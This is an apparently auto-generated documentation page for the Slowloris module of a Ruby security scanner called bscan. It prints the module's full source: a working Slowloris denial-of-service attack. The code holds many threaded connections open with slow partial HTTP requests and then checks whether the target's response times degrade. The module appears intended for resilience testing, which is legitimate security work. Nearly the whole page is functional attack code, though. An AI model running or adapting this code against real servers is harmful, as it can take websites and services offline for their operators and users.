Module: Slowloris

Defined in:
lib/bscan/modules/slowloris.rb

Overview

Copyright © 2015, Oleg Gryb

All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Instance Method Summary collapse

Instance Method Details

#close_all ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 164

def close_all
  @threadinfo.each_pair do |k,v|
    v.each_key do |i|
      begin
        v[i].close if v[i]
        update_info k,i,nil
      rescue
      end  
    end  
  end
end

#get_normal_response_time(host, port, req, proto, t) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 231

def get_normal_response_time host,port,req,proto,t
  @threadinfo[t] ||= {}
  rsp = ''
  start = Time.now
#    @bscan.activity[0]=true
  req = random_url req
  begin
    send_slow host,port,req,proto,t,0
    s = @threadinfo[t][0]
    if !s 
      raise "read failed for: #{req}"
    end
    rsp = read_response s
  rescue Exception => e
      Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
  end  
  begin
    s.close
  rescue
  end  
  update_info t,0,nil
  [rsp,Time.now - start]
end

#make_conns(nbr, host, port, req, proto, t, readto = 0) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 176

def make_conns nbr,host,port,req,proto,t,readto=0
  Log 2, "#{@mid}make_conns: #{t}  #{nbr}"
  nbr.times do |con| 
    Log 2, "#{@mid}make_conns connection: #{t}  #{con}"
    send_slow host,port,req,proto,t,con,true,readto
  end 
end

#random_url(req) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 227

def random_url req
  req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}"
end

#read_response(s, to = 0) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 255

def read_response s,to=0
    rsp=''
    begin
      while (ch=s.sysread(1))
        rsp += ch
        return rsp if msg_end rsp
        if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
          len = $1.to_i
          while (c=s.sysread(1))
            rsp += c
            if msg_end rsp
              break if len <= 0
              if (to <= 0)
                rsp += s.sysread(len)
              else
                Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}"
                len.times do |n|
                  rsp += s.sysread(1)
                  sleep Float(to)/len
                end                
              end
              break
            end  
          end
          break  
        end
      end
  rescue Exception => e
    Log 1, "#{@mid}read_response Exception #{e.message}\n#{rsp}"
    Log 1, e.backtrace.join("\n")
  end
    rsp
end

#run(*args) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 20

def run *args

  @prop_pref = 'bscan.slowloris.'
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
  @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.' 
  begin
    
    dlw =   get_par 'delay_on_write',true
    proto = get_par 'protocol', 'http'
    threads = get_par 'threads', dlw ? 500:20
    rtf =   get_par 'response_time_factor',5
    slt =   get_par 'sleep_time', dlw ? 5:100
    cn =    get_par 'con_per_thread', dlw ? 1:50
    ppc =   get_par 'pack_per_con', dlw ? 50:5
    hli =   get_par 'health_check_int', 2
    http_method = get_par 'method', 'POST'
    req = @bscan_config[prop('request')]

    nreq = nil
    if req
      file = open_in_path(req)
      r = file.read
      req.gsub!(/\^M\n/,"\r\n")
      file.close
      nreq = req
    else
      host = get_par 'hostport',''
      host,port = host.split(':') if host
      raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
      req = "#{http_method} /@@@ HTTP/1.1\r\n" +
              "Host: #{host}:#{port}\r\n" +
              "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1"
      if http_method == 'POST'
        req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n"
        nreq = req + "\r\nfoo=moo"
      else 
        nreq = req + "\r\n\r\n"
      end
    end
 

    Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}"
#      rsp,nrt = get_normal_response_time nreq,proto
    @threadinfo = {}
    trg,host,port = get_url_host_port req,proto
     
    @infom ||= Mutex.new
    
    rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
    Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
 
    threads.times do |t|

        @infom.lock
        @threadinfo[t] = {}
        @infom.unlock
        
        for con in 0..cn-1
          @infom.lock
          @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
          @infom.unlock
        end

        Thread.new do
          begin
            Log 2, "#{@mid}run thread: #{t} #{cn}"
            if (!dlw)
              make_conns cn,host,port,req,proto,t
              for pcnt in 0..ppc-1 
                    Log 2, "#{@mid}run after sleep: #{t} #{cn}"
                    for con in 0..cn-1
                      send_more host,port,proto,t,con
                    end
                    sleep slt
              end
            else
              for pcnt in 0..ppc-1 
                Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}"
                for con in 0..cn-1
                  send_slow host,port,nreq,proto,t,con,true,slt
                end
              end
            end
          raise Exception => e
             Log 1, "#{@mid}run Exception: #{e.message}"
             Log 1, e.backtrace.join("\n")
             Thread.current.exit
          end
        end
    end

     # Monitoring thread
    mont = Thread.new do
        maxtime=0
        while (true)
          begin 
            sleep hli 
            rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
            Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
            maxtime = rt if rt > nrt*rtf && rt > maxtime     
            ex = true
            tnum = 0
            cnum = 0
            @threadinfo.each_pair do  |t,c|
              inc_t = false
              c.each_key do |k|
                if c[k]
                  cnum += 1 
                  inc_t = true
                  ex = false
                end
              end
              tnum += 1 if inc_t
            end
            Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec"
            break if ex
          rescue Exception => e
             Log 1, "#{@mid}run Exception: #{e.message}"
             Log 1, e.backtrace.join("\n")
          end
        end
        Log 2, "#{@mid}run exiting monitor: #{maxtime}"
        if maxtime > 0
          issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp, 
          "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
          write_issue_state issue
        end  
        close_all
    end
 
    mont.join()
 
    
  
  rescue Exception => e
    Log 0, "#{@mid}run Exception: #{e.message}"
    Log 0, e.backtrace.join("\n")
  end
end

#send_more(host, port, proto, t, con) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 184

def send_more host,port,proto,t,con
  send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
end

#send_slow(host, port, req, proto, t, con, reopen = true, readto = 0) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 188

def send_slow host,port,req,proto,t,con,reopen=true,readto=0
#   @bscan.activity[0]=true
 begin
    s = @threadinfo[t][con]
    rndr = random_url(req)

    if !s || s.closed? || s.syswrite(rndr) != rndr.length
      s.close if s && !s.closed?
      raise "can't send more, connection closed  #{host} #{port} #{t} #{con} #{readto}" if not reopen
        
      s = TCPSocket.new(host, port)
      Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}"
#        Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}"
      if (proto =~ /https/i)
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE 
        s = OpenSSL::SSL::SSLSocket.new(s, ctx)
        s.connect
      end
      update_info t,con,s
    end
    s.syswrite(rndr)
    Log 2, "#{@mid}send_slow succeeded for  #{t} #{con} #{rndr}"
    Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
    if readto > 0
      rsp = read_response s,readto
      Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}"
    end
  rescue Exception => e
    Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message} #{e.to_s}"
    Log 1, e.backtrace.join("\n")
    begin
      s.close
    rescue
    end  
    update_info t,con,nil
  end
end

#update_info(t, con, val) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 159

def update_info t,con,val
  @infom.lock
  @threadinfo[t][con] = val if @threadinfo[t]
  @infom.unlock
end